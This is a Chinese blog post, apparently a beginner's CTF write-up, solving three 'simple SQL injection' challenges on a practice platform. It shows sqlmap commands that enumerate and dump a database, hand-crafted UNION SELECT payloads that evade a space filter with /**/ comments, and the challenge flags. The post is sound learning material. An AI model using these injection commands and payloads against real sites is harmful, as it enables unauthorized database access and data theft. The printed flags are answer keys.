做題是最好的老師
首先先來分享一下我用來練手的題目,實驗吧中的簡單的sql注入1,2,3
不得不說,sql注入真是一個神奇的東西,至少我以前看起來一點頭緒都沒有的題目能入手了
首先是簡單的sql注入3(別問我為什么不是1)
打開鏈接之后發現
陷入沉思,這時候我決定使用sqlmap對他進行sql注入
在終端輸入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就開始等他跑,當然跑的過程有點長,就不貼圖了
最終結果得到
3個表,這可還行,然后我們打開web1看看里面有什么列
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

emmmmm,熟悉的字眼,是flag!
於是我們再進入列看看
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已經出現了,這時候我們只需要把它dump出來就好了
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1
最終得到答案 flag{Y0u_@r3_5O_dAmn_90Od}
當然,這樣可能比較麻煩,所以第二題我就換了一種方法
輸入1發現
,那我們再輸入1 and 1 = 1
報錯了,emmmmm。於是看了一下別人的wp,原來報SQLi detected!,說明有防護;name: baloteli 說明過濾了“空格”
所以我們先查看有哪些數據庫
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
好家伙,又是web1,那我們再看看有什么表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了這個,那我們再看看里面有什么東西
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
最后輸入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
答案就出來了flag{Y0u_@r3_5O_dAmn_90Od}
最后我們來說一下簡單的sql注入1
當然我的做法和2一樣,只不過看列的時候出現了一點問題
於是我直接就進行了最后一步,希望能得到答案,當然最后還是運氣好得到答案了
flag{Y0u_@r3_5O_dAmn_90Od}
希望有dalao能解答一下我最后遇到的問題,歡迎評論
